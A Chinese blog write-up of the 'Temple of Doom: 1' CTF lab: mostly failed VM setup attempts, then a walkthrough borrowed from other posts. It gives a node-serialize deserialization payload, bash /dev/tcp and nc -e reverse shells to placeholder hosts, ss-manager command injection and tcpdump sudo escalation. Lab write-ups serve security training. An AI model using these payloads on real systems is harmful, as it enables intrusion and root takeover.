文章

TEMPLE OF DOOM:1

TEMPLE OF DOOM: 1(靶场配置失败)

image-20240225131935585

是一个easy靶场,打开看一下:

配置靶场

导入时候发送了报错:

image-20240225133136098

参考师傅的blog进行修改:

解压ova文件会得到两个文件,后缀名分别为ovf和vmdx

image-20240225133849689

之后导入解压后的ovf文件,还是出现了错误:

image-20240225134113532

尝试创建虚拟机使用解压出来的网卡试一下:

image-20240225134719879

卡在这一步了,尝试使用以下virtualbox虚拟机吧。。。。。且慢,好像进来了:

image-20240225134937017

好多报错。。。。尝试扫描一下:

1
sudo arp-scan -l

image-20240225135831361

警告WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied

WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied

解决办法:

1
2
3
4
cd /usr/share/arp-scan
chmod -R 777 ieee-oui.txt 
cd /etc/arp-scan 
chmod -R 777 mac-vendor.txt

再回到靶场:尝试virtualbox打开看一下:

image-20240225140225155

image-20240225140515663

嘶,扫一下:

image-20240225140603201

没办法了,看看师傅们是不是也遇到了这个问题。。。。

尝试创建一个网卡:

image-20240225141601408

将靶场网卡改为NAT网络,重启靶场:

image-20240225141938499

扫描一下:

image-20240225142023635

。。。。。。。神魔情况。。看师傅们好像都没出现这种错误。。。。

只能再次尝试上面师傅的那个操作,看看有没有办法了。。。。

vmware垂死挣扎

image-20240225153939388

打开看一下:

image-20240225154019095

更改.ovf文件:

image-20240225154309109

导入虚拟机:

image-20240225154554007

还是有这个报错,难道是有检验?再瞅瞅代码,头痛,不知道咋回事,再尝试一下.vmdk硬盘导入试试:

image-20240225155523148

常用命令都用不了,但是help可以用,尝试扫描一下,还是扫不到,这让我想起了,之前使用导入硬盘的时候让我转换来着,我没转换。试试是不是转换了就能扫到了。。。。

还是扫不到。。。。看来vmware是不太好搞的,只能回归virtualbox

virtualbox

配置的时候发现了vdi文件:

image-20240225161321910

尝试进行转换:

1
2
VBoxManage.exe clonehd E:\vulnhub\TempleOfDOOM\TOD\TOD.vdi E:\vulnhub\TempleOfDOOM\TOD\TOD.vmdk --format VMDK
vmware-vdiskmanager.exe -r "E:\vulnhub\TempleOfDOOM\TOD\TOD.vmdk" -t 0 "E:\vulnhub\TempleOfDOOM\TOD\TOD1.vmdk"

遇到报错:

1
2
3
VBoxManage.exe: error: Cannot register the hard disk 'E:\vulnhub\TempleOfDOOM\TOD\TOD.vdi' {668a93fe-d485-4e97-8643-6300cb805763} because a hard disk 'E:\vulnhub\New group\Temple of Doom\Temple of Doom-disk001.vdi' with UUID {668a93fe-d485-4e97-8643-6300cb805763} already exists
VBoxManage.exe: error: Details: code E_INVALIDARG (0x80070057), component VirtualBoxWrap, interface IVirtualBox, callee IUnknown
VBoxManage.exe: error: Context: "OpenMedium(Bstr(pszFilenameOrUuid).raw(), enmDevType, enmAccessMode, fForceNewUuidOnOpen, pMedium.asOutParam())" at line 201 of file VBoxManageDisk.cpp

解决办法:

1
VBoxManage.exe internalcommands sethduuid "E:\vulnhub\TempleOfDOOM\TOD\TOD.vdi"

再继续进行命令。

1
2
3
4
5
6
7
VBoxManage.exe clonehd E:\vulnhub\TempleOfDOOM\TOD\TOD.vdi E:\vulnhub\TempleOfDOOM\TOD\TOD.vmdk --format VMDK
0%...10%...20%...30%...40%...50%...60%...70%...80%...90%...100%
Clone medium created in format 'VMDK'. UUID: 85ee6c12-3095-4c08-96b9-e6570b7a31e6
vmware-vdiskmanager.exe -r "E:\vulnhub\TempleOfDOOM\TOD\TOD.vmdk" -t 0 "E:\vulnhub\TempleOfDOOM\TOD\TOD1.vmdk"
Creating disk 'E:\vulnhub\TempleOfDOOM\TOD\TOD1.vmdk'
  Convert: 100% done.
Virtual disk conversion successful.

尝试使用现在的硬盘,看看能不能成功!!!!失败。。。。

最后试一下virtualbox吧,实在不行只能跳过这个靶场了,找师傅的blog学习一下:

直接学习吧。。。

信息搜集

端口扫描

1
2
3
sudo nmap -sS -A -p- IP
sduo nmap -sS -sV -T5 -p- IP
rustscan -a IP
1
2
3
PORT    STATE SERVICE REASON  VERSION
22/tcp  open  ssh     syn-ack OpenSSH 7.7 (protocol 2.0)
666/tcp open  http    syn-ack Node.js Express framework

目录扫描

1
dirb -u IP:666

漏洞扫描

1
nikto -h IP:666

漏洞利用

cookie是一个编码结果:

1
{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMT"}

需要修改为:

1
{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":"Friday, 13 Oct 2018 00:00:00 GMT"}

需要利用到反序列化漏洞:

1
{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('whoami',(error,stdout,stderr)=>{console.log(stdout)}); }()"}
  • child_process是node.js中的一个模块,它以类似于popen(3)的方式生成子进程。
  • child_process.exec()方法:此方法在控制台中运行命令并缓冲输出

编译以后抓包传上去:

1
eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpe3JldHVybiByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmMoJ3dob2FtaScsKGUsb3V0LGVycik9Pntjb25zb2xlLmxvZyhvdXQpO30pOyB9KCkifQo=

获得用户名nodeadmin

设置一个反弹shell:

1
2
3
{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1',(error,stdout,stderr)=>{console.log(stdout)}); }()"}
# kali
nc -lvnp LHOST

提权

然后师傅们看到fireman用户:

1
ps -ef | grep fireman

发现此用户启动了ss-manager进程,也可以使用一下命令查看与fireman有关的文件:

1
2
find / -type f -name "*" |xargs grep -ri "fireman" 2>/dev/null
ps -aux | grep ss-manager

image-20240225173111186

漏洞利用需要开启8839端口,查看一下是否开启了这个端口:

1
2
3
4
5
6
7
8
9
netstat -a | grep 8839
nc -u 127.0.0.1 8839
# 配置JSON,执行命令,在tmp创建evil文件
add: {"server_port":8003, "password":"test", "method":"||touch /tmp/evil||"}
# 使用bash,获得反弹shell
add: {"server_port":8003, "password":"test", "method":"||bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1|"}

# kali
nc -lvp $LPORT

此时到root下但是没有权限,使用sudo -l查看一下相关命令

检查发现fireman具备sudo权限:

1
2
3
4
# 使用tcpdump,可以用于远程代码执行
echo "nc  -e /bin/bash $LHOST $LPORT "> shell.sh
chmod +x shell.sh
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root

将nc反弹shell写入sh文件,赋执行权限,通过tcpdump执行反弹shell,获得root权限

最后获得完整的tty,获得flag:

1
2
3
python -c 'import pty; pty.spawn("/bin/sh")'
cd /root
cat flag.txt

参考blog

https://blog.csdn.net/qq_34801745/article/details/104061415

https://blog.csdn.net/elephantxiang/article/details/121593344

https://www.freebuf.com/articles/web/260403.html

https://www.c0dedead.io/temple-of-doom-1-walkthrough/

本文由作者按照 CC BY 4.0 进行授权